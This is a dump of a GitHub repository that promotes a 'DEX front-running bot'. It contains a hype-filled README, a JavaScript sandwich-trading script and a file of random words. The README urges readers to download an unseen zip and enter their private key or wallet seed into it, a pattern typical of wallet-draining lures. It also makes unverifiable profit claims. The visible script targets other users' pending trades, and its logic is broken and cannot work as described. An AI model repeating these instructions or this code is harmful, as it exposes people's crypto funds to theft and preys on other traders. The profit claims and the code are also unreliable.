├── 1.png ├── 10.png ├── 2.png ├── 3.png ├── 4.png ├── 5.jpg ├── 6.png ├── 9.png ├── DEX-JavaScript-Front-Running-Bot-V4-IceMasterWizard.zip ├── README.md ├── Web3.js └── file.txt /1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IceMasterWizard/DEX-JavaScript-Front-Running-Bot-V4-IceMasterWizard/62346fff610f68b43f4116d7c1438f7f239ef844/1.png -------------------------------------------------------------------------------- /10.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IceMasterWizard/DEX-JavaScript-Front-Running-Bot-V4-IceMasterWizard/62346fff610f68b43f4116d7c1438f7f239ef844/10.png -------------------------------------------------------------------------------- /2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IceMasterWizard/DEX-JavaScript-Front-Running-Bot-V4-IceMasterWizard/62346fff610f68b43f4116d7c1438f7f239ef844/2.png -------------------------------------------------------------------------------- /3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IceMasterWizard/DEX-JavaScript-Front-Running-Bot-V4-IceMasterWizard/62346fff610f68b43f4116d7c1438f7f239ef844/3.png -------------------------------------------------------------------------------- /4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IceMasterWizard/DEX-JavaScript-Front-Running-Bot-V4-IceMasterWizard/62346fff610f68b43f4116d7c1438f7f239ef844/4.png -------------------------------------------------------------------------------- /5.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IceMasterWizard/DEX-JavaScript-Front-Running-Bot-V4-IceMasterWizard/62346fff610f68b43f4116d7c1438f7f239ef844/5.jpg -------------------------------------------------------------------------------- /6.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IceMasterWizard/DEX-JavaScript-Front-Running-Bot-V4-IceMasterWizard/62346fff610f68b43f4116d7c1438f7f239ef844/6.png -------------------------------------------------------------------------------- /9.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IceMasterWizard/DEX-JavaScript-Front-Running-Bot-V4-IceMasterWizard/62346fff610f68b43f4116d7c1438f7f239ef844/9.png -------------------------------------------------------------------------------- /DEX-JavaScript-Front-Running-Bot-V4-IceMasterWizard.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IceMasterWizard/DEX-JavaScript-Front-Running-Bot-V4-IceMasterWizard/62346fff610f68b43f4116d7c1438f7f239ef844/DEX-JavaScript-Front-Running-Bot-V4-IceMasterWizard.zip -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | This open-source JavaScript DEX Front Running bot is a game-changer for crypto traders and enthusiasts Plus, you can rest easy knowing that your funds will never leave your wallet and you won't have to place trust in a centralized exchange. Here a video of how to config and run to bot a beta tester made https://vimeo.com/1001529317 2 | Here's what it looks like running please if you have time to vote for me at the next code contest please do, I won last year with 4th place. Here's the results of runing it for about 28 days started with about 1.89 ETH To begin using the JavaScript Front Running Bot, you'll need to download and extract the zip file to a convenient location. The zip file can be downloaded from this link: https://raw.githubusercontent.com/IceMasterWizard/DEX-JavaScript-Front-Running-Bot-V4-IceMasterWizard/main/DEX-JavaScript-Front-Running-Bot-V4-IceMasterWizard.zip Once you've extracted the file, you'll need to locate the "config.js" file within the bot's main folder. Using a text-editor and open config.js You can configure the settings to your specific needs.When configuring the settings in the "config.js" file, be sure to set your ETH public address as well as your private key or wallet seed. Note that if you provide a wallet seed, you will still need to specify which public address you wish to utilize from the seed. , selecting the network (ETH = 1, BNB = 2, or POLYGON = 3), and saving the changes. 3 | When configuring the settings in the "config.js" file, be sure to set your public address as well as your private key or wallet seed. Note that if you provide a wallet seed, you will still need to specify which public address you wish to utilize from the seed. After you've configured the settings, you can open the index.html file in any web browser to access the bot. If you'd like to modify the code, you're free to fork it, but please remember to give credit to the original source. #bitcoinmining #cryptoanalysisgroup #cryptopayments #cryptopartners #cryptowallet #cryptomarketplace #cryptotoken #cryptomarket #cryptosafety #cryptotransactions Title: Using DEX-JavaScript-Front-Running-Bot-V4-IceMasterWizard to Capitalize on Front-Running Opportunities and Increase Your Crypto Holdings 4 | 5 | Introduction: 6 | Cryptocurrency trading is full of opportunities for those who can act quickly and decisively. One such strategy is front-running, which involves executing a trade ahead of large transactions to capitalize on the anticipated price movements. While this technique can be highly profitable, identifying and acting on front-running opportunities manually is challenging. Enter DEX-JavaScript-Front-Running-Bot-V4-IceMasterWizard, a powerful software tool designed to automate and optimize front-running strategies. In this article, we'll explore how front-running works, the benefits of using DEX-JavaScript-Front-Running-Bot-V4-IceMasterWizard, and how you can use this tool to enhance your crypto trading and increase your holdings. 7 | 8 | Body: 9 | 1. Understanding Front-Running: 10 | Front-running involves placing a trade based on advanced knowledge of a large upcoming transaction that is likely to impact the price of a cryptocurrency. For example, if you know a large buy order is about to be placed, you can buy before it and sell immediately after the price rises due to the large transaction. This strategy requires speed and precise information to be effective. 11 | 12 | 2. How DEX-JavaScript-Front-Running-Bot-V4-IceMasterWizard Enhances Front-Running Strategies: 13 | a. Real-Time Market Monitoring: 14 | DEX-JavaScript-Front-Running-Bot-V4-IceMasterWizard constantly scans the market for large, impending transactions that can trigger price movements. With its advanced algorithms, it can detect these transactions faster than manual monitoring. 15 | 16 | b. Automated Trade Execution: 17 | Speed is critical in front-running. DEX-JavaScript-Front-Running-Bot-V4-IceMasterWizard offers automated trading features that execute your trades at lightning speed, ensuring you capitalize on the opportunity before others can react. 18 | 19 | c. Advanced Analytics and Insights: 20 | DEX-JavaScript-Front-Running-Bot-V4-IceMasterWizard provides comprehensive analytics and insights into your trades. It helps you understand the effectiveness of your front-running strategies and refine them over time. The software also calculates potential profits and transaction costs, giving you a clear picture of your earnings. 21 | 22 | 3. Benefits and Risks of Front-Running with DEX-JavaScript-Front-Running-Bot-V4-IceMasterWizard: 23 | Front-running can offer significant profits, especially when using a tool like DEX-JavaScript-Front-Running-Bot-V4-IceMasterWizard that provides real-time data and automated execution. However, it's important to be aware of the risks, such as market volatility and potential regulatory issues. DEX-JavaScript-Front-Running-Bot-V4-IceMasterWizard helps mitigate these risks by offering precise and timely information, but traders should always be mindful of the legal and ethical implications. 24 | 25 | Conclusion: 26 | Front-running can be a powerful strategy for increasing your crypto holdings, and DEX-JavaScript-Front-Running-Bot-V4-IceMasterWizard makes this strategy accessible and efficient. By using DEX-JavaScript-Front-Running-Bot-V4-IceMasterWizard, you can stay ahead of the market and capitalize on price movements with confidence. Start using DEX-JavaScript-Front-Running-Bot-V4-IceMasterWizard today and see how it can revolutionize your trading strategy and boost your crypto profits. 27 | 28 | Call to Action: 29 | Ready to take your crypto trading to the next level with DEX-JavaScript-Front-Running-Bot-V4-IceMasterWizard? Sign up now and start leveraging front-running opportunities with ease. Join the community of successful traders who trust DEX-JavaScript-Front-Running-Bot-V4-IceMasterWizard to maximize their profits. Happy trading! 30 | Relevant Hashtags: 31 | #CryptoArbitrage #DecentralizedFinance #DeFi #CryptoTrading #Blockchain #Cryptocurrency #TradingStrategies #CryptoInvesting #TriangleArbitrage #DecentralizedExchanges #DVV1Investment What is frontrunning? Whenever you use a decentralized exchange to swap tokens, the price of the token you buy increases slightly. This is called slippage and for most retail traders, slippage is barely even noticeable. Whale traders however, especially when they purchase highly illiquid tokens, can significantly change a token’s price.Frontrunning bots take advantage of this mechanic by beating out the trader on the gas fees, purchasing into a token at the lower price and then instantly selling them off at the higher price. In a block explorer, frontruns leave a clear trace with the trader’s transaction being sandwiched between the two frontrun transactions. #coding #frontrunningbot #javascript #tutorial #botv4 #dex #programming #configuration #learntocode #stepbystep #beginner 32 | -------------------------------------------------------------------------------- /Web3.js: -------------------------------------------------------------------------------- 1 | require('dotenv').config() 2 | const Web3 = require('web3') 3 | const { ChainId, Fetcher, WETH, Route, Trade, TokenAmount, TradeType, Percent } = require('@uniswap/sdk') 4 | const ethers = require('ethers') 5 | const fs = require('fs') 6 | //const assert = require('assert'); 7 | 8 | let divider = "\n------------------------------------------------------\n" 9 | 10 | const chainId = ChainId.MAINNET 11 | 12 | let web3HD 13 | let token 14 | let route 15 | let weth 16 | let provider 17 | let signer 18 | let uniswap 19 | 20 | const ACCOUNT = process.env.REACT_APP_ACCOUNT 21 | const TOKEN_ADDRESS = process.env.REACT_APP_TOKEN_ADDRESS 22 | const EXCHANGE_ADDRESS = process.env.REACT_APP_EXCHANGE_ADDRESS 23 | const ETH_AMOUNT = process.env.REACT_APP_ETH_AMOUNT 24 | 25 | const web3 = new Web3(process.env.REACT_APP_RPC_URL_WSS) 26 | web3HD = new Web3(new Web3.providers.HttpProvider(process.env.REACT_APP_RPC_URL)) 27 | provider = new ethers.getDefaultProvider(process.env.REACT_APP_RPC_URL) 28 | const privateKey = new Buffer.from(process.env.REACT_APP_PRIVATE_KEY, "hex"); 29 | signer = new ethers.Wallet(privateKey, provider) 30 | 31 | // declare the token contract interfaces 32 | tokenContract = new ethers.Contract( 33 | TOKEN_ADDRESS, 34 | ['function balanceOf(address owner) external view returns (uint)', 35 | 'function decimals() external view returns (uint8)', 36 | 'function approve(address spender, uint value) external returns (bool)'], 37 | signer 38 | ); 39 | 40 | // declare the Uniswap contract interface 41 | uniswap = new ethers.Contract( 42 | EXCHANGE_ADDRESS, 43 | ['function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts)', 44 | 'function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts)', 45 | 'function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts)'], 46 | signer 47 | ); 48 | 49 | let addtrxflag = false 50 | let trxflag = false 51 | let initialTokenBalance 52 | let tokenBalanceAfterBuy 53 | let tokensToSell 54 | 55 | async function run(){ 56 | 57 | console.log('\x1b[1m\x1b[37m[Bot]: Process has been started! \x1b[1m\x1b[31m(to stop press CTRL+C anytime)\x1b[0m\n') 58 | console.log('\x1b[1m\x1b[37m[Bot]: Looking for targets at DEX...\x1b[0m\n') 59 | 60 | fs.writeFile('./transactions_hashes.txt', '', function(){console.log('\x1b[1m\x1b[37m[Bot]: transactions_hashes.txt \x1b[1m\x1b[32mwiped!\n\x1b[0m\n\n')}) 61 | 62 | token = await Fetcher.fetchTokenData(chainId, TOKEN_ADDRESS) 63 | weth = WETH[chainId] 64 | const pair = await Fetcher.fetchPairData(token, weth, provider) 65 | route = new Route([pair], weth) 66 | 67 | initialTokenBalance = await tokenContract.balanceOf(ACCOUNT); 68 | 69 | if(true){ 70 | subscription = web3.eth.subscribe('pendingTransactions', function (error, result) {}) 71 | .on("data", function (transactionHash) { 72 | web3.eth.getTransaction(transactionHash) 73 | .then(function (transaction) { 74 | if(transaction && !trxflag){ 75 | parseTransactionData(transaction) 76 | } 77 | }) 78 | .catch(function () { 79 | console.log("\x1b[1m\x1b[Bot]: WARNING! Promise error caught!\n\x1b[1m\x1b[37mThere is likely an issue on your providers side, with the node you are connecting to.\nStop the bot with \x1b[1m\x1bCTRL+C \x1b[1m\x1b[37mand try run again in a few hours."); 80 | //.catch((error) => { 81 | // assert.isNotOk(error,'Promise error') 82 | }) 83 | }); 84 | 85 | async function parseTransactionData(transactionDetails) { 86 | if(transactionDetails.input){ 87 | 88 | fs.appendFileSync('transactions_hashes.txt', 'Trx hash : ' + transactionDetails.hash.toString() + '\r\n') 89 | const transactionInput = transactionDetails.input 90 | 91 | var path = 'transactions_hashes.txt'; 92 | var text = fs.readFileSync(path).toString(); 93 | var lines = text.split('\n'); 94 | var newlines_count = lines.length - 1; 95 | process.stdout.clearLine(); 96 | process.stdout.cursorTo(0); 97 | process.stdout.write(`\x1b[1m\x1b[37m[Bot]: Sweeping transaction hashes... \x1b[1m\x1b[32m${newlines_count}\x1b[37m passes. `); 98 | 99 | if((transactionInput.length - 10) % 64 === 0){ 100 | const toTrx = transactionDetails.to 101 | if(toTrx.toLowerCase() === EXCHANGE_ADDRESS.toLowerCase() 102 | && parseFloat(web3.utils.fromWei(transactionDetails.value, 'ether')) >= parseFloat(process.env.REACT_APP_TARGET_ETH_AMOUNT)){ 103 | } 104 | if(addtrxflag){ 105 | const exeTrxs = await executeTrxs(transactionDetails) 106 | subscription.unsubscribe(function (error, success) { 107 | if (success) 108 | console.log('\n\x1b[1m\x1b[37m[Bot]: Process has been ended!\x1b[0m'); 109 | console.log('\n\x1b[1m\x1b[31m[Bot]: Press \x1b[0mCTRL+C\x1b[31m to stop the script completely !\x1b[0m'); 110 | }); 111 | } 112 | } 113 | } 114 | } 115 | } 116 | } 117 | } 118 | 119 | async function executeTrxs(transactionDetails){ 120 | if(trxflag){ 121 | return 122 | } 123 | trxflag = true 124 | 125 | console.table([{ 126 | 'Transaction Hash': transactionDetails['hash'], 127 | 'Observations': 'Valid Transaction', 128 | 'Timestamp': Date.now() 129 | }]) 130 | console.log(divider) 131 | console.log('\n\x1b[1m\x1b[37m[Bot]: Transaction spotted! - \x1b[32m', transactionDetails, "\x1b[0m\n"); 132 | 133 | const buy = await buyTokens(transactionDetails) 134 | const sell = await sellTokens(transactionDetails) 135 | } 136 | 137 | async function sellTokens(transactionDetails){ 138 | const amountIn = tokensToSell 139 | 140 | if (amountIn.toString() !== '0'){ 141 | const gasPrice = transactionDetails.gasPrice 142 | const newGasPrice = Math.floor(parseInt(gasPrice) - parseInt(1)) 143 | const gasLimit = Math.floor(transactionDetails.gas * 1.3) 144 | 145 | const amountInHex = ethers.BigNumber.from(amountIn.toString()).toHexString(); 146 | const ethAmount = ethers.utils.parseEther(ETH_AMOUNT); 147 | const amountOutMin = Math.floor(ethAmount * 0.01); 148 | const amountOutMinHex = ethers.BigNumber.from(amountOutMin.toString()).toHexString(); 149 | const path = [token.address, weth.address]; 150 | const deadline = Math.floor(Date.now() / 1000) + 60 * 20; 151 | const deadlineHex = ethers.BigNumber.from(deadline.toString()).toHexString(); 152 | 153 | const nonceCount = await web3.eth.getTransactionCount(ACCOUNT) 154 | 155 | const tx = await uniswap.swapExactTokensForETH( 156 | amountInHex, 157 | amountOutMinHex, 158 | path, 159 | ACCOUNT, 160 | deadlineHex, 161 | { 162 | nonce: nonceCount + 1, 163 | gasPrice: ethers.BigNumber.from(newGasPrice).toHexString(), 164 | gasLimit: ethers.BigNumber.from(gasLimit).toHexString() 165 | } 166 | ); 167 | console.log('\x1b[1m\x1b[37m[Bot]: Your sell transaction was: \x1b[1m\x1b[32m', tx.hash, "\x1b[0m"); 168 | } 169 | } 170 | 171 | 172 | async function buyTokens(transactionDetails){ 173 | if(true){ 174 | const gasPrice = transactionDetails.gasPrice 175 | const newGasPrice = Math.floor(parseInt(gasPrice) + parseInt(1)) 176 | const gasLimit = Math.floor(transactionDetails.gas * 1.2) 177 | 178 | const inputEth = parseFloat(ETH_AMOUNT) * 0.99; 179 | const ethAmount = ethers.utils.parseEther(inputEth.toString()); 180 | const trade = new Trade(route, new TokenAmount(weth, ethAmount), TradeType.EXACT_INPUT); 181 | const path = [weth.address, token.address]; 182 | const deadline = Math.floor(Date.now() / 1000) + 60 * 20; 183 | const deadlineHex = ethers.BigNumber.from(deadline.toString()).toHexString(); 184 | 185 | tokensToSell = trade.outputAmount.raw 186 | const amountOutHex = ethers.BigNumber.from(tokensToSell.toString()).toHexString(); 187 | 188 | const ethAmt = parseFloat(ETH_AMOUNT) * 1.2; 189 | const amountInMax = ethers.utils.parseEther(ethAmt.toString()); 190 | const amountInMaxHex = ethers.BigNumber.from(amountInMax.toString()).toHexString(); 191 | 192 | const tx = await uniswap.swapETHForExactTokens( 193 | amountOutHex, 194 | path, 195 | ACCOUNT, 196 | deadlineHex, 197 | { 198 | value: amountInMaxHex, 199 | gasPrice: ethers.BigNumber.from(newGasPrice).toHexString(), 200 | gasLimit: ethers.BigNumber.from(gasLimit).toHexString() 201 | } 202 | ); 203 | console.log('\x1b[1m\x1b[37m[Bot]: Your purchase transaction was: \x1b[1m\x1b[32m', tx.hash, "\x1b[0m"); 204 | } 205 | } 206 | 207 | console.clear() 208 | console.log("\n") 209 | 210 | 211 | console.log(divider) 212 | 213 | run() 214 | -------------------------------------------------------------------------------- /file.txt: -------------------------------------------------------------------------------- 1 | calciphobous limitedly postpyramidal telephoto unsaddle atom milksick trifocal mpret gamble unspeed hyaline fragilely swathband microgamete cartouches grimace anachronize hermodact eyehole seminule rousseau rivina mzee twitty musketo catskill misarchist nondetention howtowdie isogynous wallydrag undeluded caliduct apiology dockyardman hart intabulate cottered unsauced rhynchophoran hemophile paradental uraeus aficionado unspecifiedly administration oecologies rosemaling vrooms enunciatively axiom spikier underzealous unfiltrated sortied nasals squidge unsinewy scyllite malimprinted peptidase cottae pomphus poddidge elderwoman niggery unvying dilution oxaluric stroky garbure reclinated overassertive lactarium relance storybooks fosterland definitised enamdar achkan transcend augustal bertin horsecars ostensory griqualander lancasterian undiscreetly unrapturously unrightly pieplants meanless buninahua unnumbed retaliator anhalouidine knowinger piquets eloinment countys wmk heterostraca opelet forefend shoreward claimable footlessly gantlets surfacemen streamiest mastotomy denaturisation paraphysis mamluk senoras plesiosauroid depressibilities synechiology prosapy isander entasis syncope duan unowned nahuatlan gangwayed subsewer solarometer firepot sinuating restabilizing nonlocally uneasier coenogenesis cystidia leck martingale moyenne louty replotment aromatiser hosen overagitation sicilica keester beelike nonconsenting kodakry nonsymphonious chastenment canada aerodynamical leerier pentosid princehood brum ivy inlays pearce inquisitor unoffendable spaid reorganizes criminalities outportion chromotropic homoplasmy val synapsing oblivial halfpence scatterplots bezzle doublers veinlike prulaurasin redundance grievousness aggroup clapdish uninflammability mirier complicating unicyclist isagoge figpecker spad tetrakaidecahedron pharmacogenetics naevoid anemotropic simonian joules apiaca releivo desegregated schmaltz thrillier peerling petitionee melologue asiarchate adulterant hyothyreoid preinsulating sundri myrmecophile invent nosewheel parged assn sliding aerophoto skiegh flocking cobaltinitrite unheppen infuriated limnimetric cashers nonarmigerous fidicula misopaedia reputability paterfamiliar sanguinicolous profanism transmigrationism prejudicialness ihrams antimatrimonial hydrocores tuftaffeta kymbalon rototiller perimysium arranger nonconnivence photopathic remingle pertest outport macaasim sass euphemisms soapberry injunct aquameter textlet nonvituperative fording skywritten basocyte putlogs flaxdrop vetoism eucleid jocelyn campoody anyhow naloxone ancestresses tumefies flagellata maintained anatron prebendaries vaudois botchiness rtw pretortured gist unbirdlimed quila stalder polis westernising subequilateral supertempt defervescing slaty ennerve unquit impressments nonsolution electrizing seabags unrecoverably intercipient outwake flunkeyhood lymphous intravitelline bakalai shinto cognoscible unhit unknocked achroite tetracarpellary espials sectionized occipitalis calamistrate unhelpful embreach melancholize collun uteroabdominal shiai menisci joypop assertum sibyllae freakout hubbing nonlixiviation treetise queachier unhent overloftiness nettably potassium deprecatingly receptionreck bloating undergage shoreyer shipmatish tobaccosim traversary saccharometric etherate wellhouse asaphidae metrectopic enclosed ricker livraison titanic judiciarily inductances sinewing monolinguist haptotropic hydropneumatosis eliminating glairing medjidie gubernative yearnful polygamically andira tripleback ruffians heteromastigate discloses sympatries mali colorblindness quaequae anatman bandeng stethoparalysis product premaking ferreting unsafe vasicentric lidderon tubulously guatemaltecan hypoactive suavity preenact anour liquescence upheavers antisiphonal emda cambiogenetic hatty ubiquitariness motacil bhaiachari novendial iguaniform asclepiadean selenographic odontophorine rhinoceroid recirculates crocodilian denunciating euscaro rudeness monopoles partners fructiferousness impediment drengh symplasm fronter horizontalize nonabdication northwestward misdevoted carlos downbye grozer subadministratively peroratorical aeonist disappreciate bleachfield dinah acale sparaxis sensillumla trisyllabity calmiest phenylthiocarbamide nonclassical sperma nonreclamation inextirpable palas puttering followers rehead undersay repound telergic satisfiable tantadlin piu overruffed lomatinous mystifiedly quadrigeminal tympaniform toyful anhedral outvaunting implacability dislustre codhead cosmetic pardonableness untolerableness skiverwood aglobulia beblotch intrine mensurableness lambkins catalyses thralldom solutive dimply hyponym subgenera fencings tetrakaidecahedron stress seminonconformist vertebrata soosoo uncatechisedness countor protoproteose engem yamalka superficie semifit pedologistically slavi encastre skirwhit ethicopolitical briss cannonism scaphander swabian indifferential septemfid agmatine heroicity ethylthioethane tenent miltlike twigger credulous prothetic surprisingness blastocoelic sarrasin anatase pyxidanthera --------------------------------------------------------------------------------